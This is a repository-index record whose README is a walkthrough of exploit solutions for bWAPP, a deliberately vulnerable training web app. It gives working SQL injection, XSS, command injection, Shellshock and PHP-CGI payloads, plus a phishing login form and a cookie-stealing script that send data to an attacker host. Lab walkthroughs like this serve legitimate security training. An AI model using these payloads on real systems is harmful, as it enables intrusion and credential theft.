{"id":17319253,"url":"https://github.com/skiptomyliu/solutions-bwapp","last_synced_at":"2026-02-27T03:01:59.051Z","repository":{"id":35117717,"uuid":"39309183","full_name":"skiptomyliu/solutions-bwapp","owner":"skiptomyliu","description":"In progress rough solutions to bWAPP / bee-box","archived":false,"fork":false,"pushed_at":"2020-01-07T16:15:57.000Z","size":1003,"stargazers_count":173,"open_issues_count":2,"forks_count":58,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-03-27T02:43:38.702Z","etag":null,"topics":["appsec","bwapp","csrf","directory-traversal","html-injection","sql-injection","xpath-injection","xss"],"latest_commit_sha":null,"homepage":"","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"elazarl/goproxy","license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/skiptomyliu.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2015-07-18T18:58:01.000Z","updated_at":"2025-01-23T16:32:37.000Z","dependencies_parsed_at":"2022-08-08T05:15:22.117Z","dependency_job_id":null,"html_url":"https://github.com/skiptomyliu/solutions-bwapp","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/skiptomyliu/solutions-bwapp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skiptomyliu%2Fsolutions-bwapp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skiptomyliu%2Fsolutions-bwapp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skiptomyliu%2Fsolutions-bwapp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skiptomyliu%2Fsolutions-bwapp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/skiptomyliu","download_url":"https://codeload.github.com/skiptomyliu/solutions-bwapp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skiptomyliu%2Fsolutions-bwapp/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29883111,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-26T23:51:21.483Z","status":"online","status_checked_at":"2026-02-27T02:00:06.759Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["appsec","bwapp","csrf","directory-traversal","html-injection","sql-injection","xpath-injection","xss"],"created_at":"2024-10-15T13:23:20.668Z","updated_at":"2026-02-27T03:01:59.030Z","avatar_url":"https://github.com/skiptomyliu.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"# solutions-bwapp\nIn progress rough solutions.  This is not a comprehensive solution list.  Updating whenever I have the time.\n\nRef sheet\nhttp://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet\n\n# Contributors\n[@mmmds](https://github.com/mmmds)\n\n# A1 - Injection\n\n### HTML Injection - Reflected (GET)\nhtmli_get.php\n\n```\n/bWAPP/htmli_get.php?firstname=%3Ch1%3EHello%3C%2Fh1%3E\u0026lastname=%3Ch2%3EWorld%3C%2Fh2%3E\u0026form=submit\n```\n \n### HTML Injection - Reflected (POST)\n\n```\n\u003ch1\u003eHello\u003c/h1\u003e\n\u003ch2\u003eWorld\u003c/h2\u003e\n```\n\n### HTML Injection - Reflected (URL)\n\nXXX:  Todo, IE only?\n```\n/bWAPP/htmli_current_url.php\n```\n\n### HTML Injection - Stored (Blog)\n\nFollowing solution taken from:\n```\nhttp://penthusiasts.blogspot.com/2013/12/bwapp-html-injection-all.html\n```\n```\n\u003cdiv style=\"position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;\"\u003ePlease login with valid credentials:\u003cbr\u003e\u003cform name=\"login\" action=\"http://AttackerIP/login.htm\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd\u003eUsername:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"username\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePassword:\u003c/td\u003e\u003ctd\u003e\u003cinput type=\"text\" name=\"password\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd colspan=2 align=center\u003e\u003cinput type=\"submit\" value=\"Login\"/\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/form\u003e\u003c/div\u003e\n```\n\nAttacker's machine:\n```\nnc -l 80\n```\n\n### iFrame Injection\n```\nParamUrl=robots.txt\" onload=\"alert(1)\nParamHeight=\"\u003e\u003c/iframe\u003e\u003cscript\u003ealert(1);\u003c/script\u003e\n```\n\n### OS Command Injection\n```\nwww.nsa.gov; cat /etc/passwd\nwww.nsa.gov \u0026 cat /etc/passwd\nwww.nsa.gov | cat /etc/passwd\n```\n\n### OS Command Injection - Blind\n```\nwww.nsa.gov | sleep 10\n```\n\n### PHP Code Injection\n\n```\n/bWAPP/phpi.php?message=a;echo \"what\"; $fp = fopen(\"/etc/passwd\",\"r\");$result = fread($fp,8192); echo $result\n```\n### Server-Side Includes:\n\n```\n\u003c!--#echo var=\"DATE_LOCAL\" --\u003e\n\u003c!--#exec cmd=\"cat /etc/passwd\" --\u003e\n```\n\n### SQL Injection (GET/SEARCH)\n\n```\na%' UNION ALL SELECT table_schema,table_name, null, null, null, null, null from information_schema.tables;--\n```\n\n### SQL Injection (GET/SELECT)\n\n```\nmovie=1 UNION ALL SELECT table_schema, table_name, null, null, null, null, null FROM information_schema.tables LIMIT 1 OFFSET 1;--\n```\n![](https://github.com/skiptomyliu/solutions-bwapp/blob/master/screenshots/sqli_2_1.png)\n![](https://github.com/skiptomyliu/solutions-bwapp/blob/master/screenshots/sqli_2_2.png)\n\n### SQL Injection (POST/Search)\n/bWAPP/sqli_6.php\n\n```\na%' UNION ALL SELECT table_schema,table_name, null, null, null, null, null from information_schema.tables;-- \n```\n\n### SQL Injection (POST/Select)\n\nUse Burp\n```\nmovie=1 UNION ALL SELECT table_schema, table_name, null, null, null, null, null FROM information_schema.tables LIMIT 1 OFFSET 1;--\n```\n\n### SQL Injection (AJAX/JSON/jQuery)\nUse Burp \n```\na%' UNION ALL SELECT table_schema,table_name, null, null, null, null, null from information_schema.tables;--\n```\n![](https://github.com/skiptomyliu/solutions-bwapp/blob/master/screenshots/sqli_10_1.png)\n\na%' UNION ALL SELECT 1, column_name, null, null, null, null, null from information_schema.columns where table_name=\"users\";-- \n\nblah%' union all select 1,login,password,email,secret,1, 1 from users --\n\n### SQL Injection (Login Form/Hero)\n```\nok' or 1=1-- \n```\n### SQL Injection(SQLite)\n\n```\na%' UNION ALL SELECT 1,sqlite_version(),1,1,1,1; --\n```\n\n### SQL Injection - Stored (Blog)\n\nBe sure to add a space after the -- for this one, otherwise the injection will not work\n```\nasdf',(SELECT database()  ))-- \n```\n\nTo begin enumerating tables:\n```\nasdf',(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'bWAPP' LIMIT 0,1  ))-- \nasdf',(SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'bWAPP' LIMIT 1,1  ))-- \n```\n\n```\nasdf',(select password from mysql.user where user='root' ))-- \n```\n\n### XML/XPath Injection (Login Form)\n```\npassword=' or id='2\n```\n\n### XML/XPath Injection (Search)\n```\ngenre=')]/password | a[contains(a,'\ngenre=') or contains(genre, '\ngenre=') or not(contains(genre, 'xxx') and '1'='2\n```\n\n# A2 - Broken Authentication\n\n### Broken Auth. - CAPTCHA Bypassing\n\nUsing Burp, do not allow the webpage to load captcha_box.php, this page loads the server's session variable $_SESSION[\"captcha\"] which will then require a check on ba_captcha_bypass.php\nThe second requirement is to prevent captcha_user from being submitted by the client.  Eliminate this using Burp:\n\n\n```\nPOST /bWAPP/ba_captcha_bypass.php HTTP/1.1\nHost: bepp:8088\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://bepp:8088/bWAPP/ba_captcha_bypass.php\nCookie: PHPSESSID=67a6abb1d7ff40c55ad50d3aa43fc7c4; security_level=0\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 34\n\nlogin=bee\u0026password=bug\u0026form=submit\n```\n\n### Broken Auth. - Logout Management\nOpen second tab and logout. Second tab will still have session.\n\n### Session Mgmt. - Administrative Portals\nIn URL and Cookies\n```\nadmin=1\n```\n\n# A3 - Cross-Site Scripting (XSS) \n\n### XSS - Reflected (GET)\nxss_get.php\n\n```\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n```\n\n### XSS - Reflected (POST)\n\nxss_post.php\n```\n\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n```\n\n### XSS - Reflected (JSON)\n\nxss_json.php\n```\n\"}]}';prompt(0)\u003c/script\u003e\n```\n\n### XSS - Reflected (AJAX/JSON)\n\nxss_ajax_2-1.php\n```\n\u003csvg onload=prompt(0)\u003e\n```\n\n### XSS - Reflected (AJAX/XML)\nxss_ajax_1-1.php\n```\n\u0026lt;img src=\u0026apos;#\u0026apos; onerror=\u0026apos;alert(1)\u0026apos;\u0026gt;\n```\n\nAlternatively I was able to get XSS to execute on the AJAX called.\n```\nxss_ajax_1-2.php?title=\u003chtml xmlns='http://www.w3.org/1999/xhtml'\u003e\u003cscript\u003eprompt(0)\u003c/script\u003e\u003c/html\u003e\n```\n\n### XSS - Reflected (Back Button)\nModify Referer header field\n```\nReferer: ';alert(1);'\n```\n\n### XSS - Reflected (Custom Header)\nAdd header field\n```\nbWAPP: \u003cscript\u003ealert(1)\u003c/script\u003e\n```\n\n### XSS - Reflected (Eval)\n```\ndate=alert(1)\n```\n\n### XSS - Reflected (HREF)\n```\nReferer: \u003cscript\u003ealert(1)\u003c/script\u003e\n```\n\n### XSS - Reflected (User-Agent)\n```\nUser-Agent: \u003cscript\u003ealert(1)\u003c/script\u003e\n```\n\n# A4 - Insecure Direct Object References\n\n### Insecure DOR (Change Secret)\nUse Burp to unhide hidden fields or intercept POST param.  \n\n### Insecure DOR (Reset Secret)\nChange 'login' and 'secret' field to arbitrary values.\n```\nPOST /bWAPP/xxe-2.php HTTP/1.1\nHost: bepp:8088\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: text/xml; charset=UTF-8\nReferer: http://bepp:8088/bWAPP/insecure_direct_object_ref_3.php\nContent-Length: 59\nCookie: PHPSESSID=77aa634b546d1c78d5afc16aae328172; security_level=0\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\n\n\u003creset\u003e\u003clogin\u003ebee\u003c/login\u003e\u003csecret\u003eAny bugs?\u003c/secret\u003e\u003c/reset\u003e\n```\n\n### Insecure DOR (Order Tickets)\nbWAPP/insecure_direct_object_ref_2.php\n\nUse Burp to unhide hidden ticket price field, or use proxy to modify the POST param while in transit.\n\n# A5 - Security Misconfiguration\n\n### Cross-Origin Resource Sharing (AJAX)\nIt's possible because of header in response:\n```\nAccess-Control-Allow-Origin: *\n```\n```\n\u003chtml\u003e\n    \u003chead\u003e\n    \u003cscript\u003e\n        function steal() {\n            var r = new XMLHttpRequest();\n            r.onreadystatechange = function() {\n                if (r.readyState == 4 \u0026\u0026 r.status == 200) {\n                    alert(r.responseText);\n                }\n            };\n            r.open(\"GET\", \"http://192.168.1.10/bWAPP/secret-cors-1.php\", true);\n            r.send();\n        }\n    \u003c/script\u003e\n    \u003c/head\u003e\n    \u003cbody onload=\"steal()\"\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Cross-Site Tracing (XST) \n\nDoesn't work on modern browsers as there are security enforcements.  Maybe use phantomJS?\n\nI modified the POC to use GET instead of TRACE.  Additional changes from original xst.js include making the onreadystatechange NOT inline (seems to play better with FF).\n\n1.  Start listener on attacking machine:  nc -l 8888\n\n2.  Modify xst.js to match your environment:\n\n\n```\nvar xmlhttp;\t\n// Code for IE7+, Firefox, Chrome, Opera, Safari\nif (window.XMLHttpRequest)\n{\n\txmlhttp=new XMLHttpRequest();\n}\n// Code for IE6, IE5\t\nelse\n{ \n\txmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n}\t\n\nxmlhttp.onreadystatechange=foo;\n\nfunction foo()\n{\t\n\tif (xmlhttp.readyState==4 \u0026\u0026 xmlhttp.status==200)\n\t{\t\n\t\txmlResp=xmlhttp.responseText;\n\t\t// document.getElementById(\"response\").innerHTML=xmlResp\n\t\talert(xmlResp);\n\t\tdocument.location=\"http://[attacker_ip]:8888/grab.cgi?\"+document.cookie;\n\t}\n}\n// xmlhttp.open(\"TRACE\",\"/bWAPP/\",true);\nxmlhttp.open(\"GET\",\"/bWAPP/\",true);\n// xmlhttp.withCredentials = true;\nxmlhttp.send();\n```\n\n### Insecure FTP Configuration\n\nAnonymous login with write permissions are enabled\n```\n$ ftp 192.168.1.9\nConnected to 192.168.1.9.\nanonymous\n220 ProFTPD 1.3.1 Server (bee-box) [192.168.1.9]\nName (192.168.1.9:dean): 331 Anonymous login ok, send your complete email address as your password\nPassword:\n230 Anonymous access granted, restrictions apply\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp\u003e dir\n229 Entering Extended Passive Mode (|||42936|)\n150 Opening ASCII mode data connection for file list\n-rw-rw-r--   1 root     www-data   543803 Nov  2  2014 Iron_Man.pdf\n-rw-rw-r--   1 root     www-data   462949 Nov  2  2014 Terminator_Salvation.pdf\n-rw-rw-r--   1 root     www-data   544600 Nov  2  2014 The_Amazing_Spider-Man.pdf\n-rw-rw-r--   1 root     www-data   526187 Nov  2  2014 The_Cabin_in_the_Woods.pdf\n-rw-rw-r--   1 root     www-data   756522 Nov  2  2014 The_Dark_Knight_Rises.pdf\n-rw-rw-r--   1 root     www-data   618117 Nov  2  2014 The_Incredible_Hulk.pdf\n-rw-rw-r--   1 root     www-data  5010042 Nov  2  2014 bWAPP_intro.pdf\n226 Transfer complete\nftp\u003e puts test.txt\n?Invalid command.\nftp\u003e put test.txt\nlocal: test.txt remote: test.txt\n229 Entering Extended Passive Mode (|||28299|)\n150 Opening BINARY mode data connection for test.txt\n     0        0.00 KiB/s\n226 Transfer complete\nftp\u003e ^D\n221 Goodbye.\n```\n\n### Insecure SNMP Configuration\n\nDefault community strings are set on the machine\n\n```\n$ snmpwalk -v2c -c private bwapp-server\n$ snmpwalk -v2c -c public bwapp-server\n```\n\n### Insecure WebDAV Configuration\n```\ncurl -X PUT --data '\u003c?php $f=fopen(\"/etc/passwd\",\"r\"); echo fread($f,filesize(\"/etc/passwd\")); fclose($f); ?\u003e' 'http://192.168.1.10/webdav/attack.php'\n```\n\n# A6 - Sensitive Data Exposure \n\n### Base64 Encoding (Secret)\n\nUse Burp to get cookie\n\n![](https://github.com/skiptomyliu/solutions-bwapp/blob/master/screenshots/insecure_crypt_storage_3.png)\n\n### Heartbleed Vulnerability\n\nUse the heartbleed.py script found in the /evil directory\n\n```\npython heartbleed.py [ip] \n```\n\n\n\n# A7 - Missing Functional Level Access Control\n\n### Directory Traversal - Directories\ndirectory_traversal_2.php\n```\n/bWAPP/directory_traversal_2.php?directory=../../../../home/\n```\n\n### Directory Traversal - Files\ndirectory_traversal_1.php\n```\n/bWAPP/directory_traversal_1.php?page=../../../../../etc/passwd\n```\n\n### Host Header Attack (Cache Poisoning)\nhostheader_1.php\n\n![](https://github.com/skiptomyliu/solutions-bwapp/blob/master/screenshots/hostheader_1_1.png)\n\n### Host Header Attack (Reset Poisoning)\nhostheader_2.php\n\n![]()\n\n### Remote \u0026 Local File Inclusion (RFI/LFI)\n\nCopy rfi.txt to rfi.php, it appears PHP automatically adds the suffix .php. \n```\nbWAPP/rlfi.php?language=../evil/rfi\n```\n\n### Restrict Device Access\nModify request\n```\nUser-Agent: Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19 \n```\n\n# A8 - Cross-Site Request Forgery (CSRF)\n\nReference the HTML files in resources directory.  You can modify these to auto execute in a hidden iframe as an exercise.  If bWAPP had CSRF mitigations (such as utilization of tokens), then the POST requests made from the csrf_x.html files would respond with forbidden.\n\n### Cross-Site Request Forgery (Change Password)\nPlease reference [csrf_1.html](resources/csrf_1.html).  Replace the address within the HTML with your own bWAPP server and run the form to change the password.  If CSRF tokens were utilized, then the server should return forbidden.  \n\n### Cross-Site Request Forgery (Change Secret)\nPlease references [csrf_2.html](resources/csrf_2.html).  Again, replace the address within the HTML with your own bWAPP server to change the secret.\n\n### Cross-Site Request Forgery (Transfer Amount)\nPlease references [csrf_3.html](resources/csrf_3.html).  Again, replace the address within the HTML with your own bWAPP server to change the secret.\n\n# A9 - Using Known Vulnerable Components\n\n### PHP CGI Remote Code Execution\n```\nPOST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1\nHost: 192.168.1.20\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Length: 70\nCookie: security_level=0; PHPSESSID=e27e4148fbb0b82028e1cd6e159f4e7a\nConnection: close\n\n\u003c?php $r; exec('cat /etc/passwd', $r); echo implode($r, \"\\n\"); die; ?\u003e\n```\n\nThere is also possibility to display source code\n```\nhttp://192.168.1.20/bWAPP/admin/phpinfo.php?-s\n```\n\n### Shellshock Vulnerability (CGI)\nModify /bWAPP/cgi-bin/shellshock.sh request\n```\nReferer: () { nothing;}; /bin/touch /tmp/malicious\n```\n```\nReferer: () { nothing;}; echo; /bin/cat /etc/passwd\n```\n\n# Other bugs...\n\n### HTTP Paramter Pollution\nPut name\n```\nbee\u0026movie=1\n```\nthen every link will choose G.I Joe: Retaliation movie.\n\n### HTTP Response Splitting\n```\nhttp://192.168.1.20/bWAPP/http_response_splitting.php?url=http://itsecgames.blogspot.com%0AReferer%3agoogle.com\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fskiptomyliu%2Fsolutions-bwapp","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fskiptomyliu%2Fsolutions-bwapp","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fskiptomyliu%2Fsolutions-bwapp/lists"}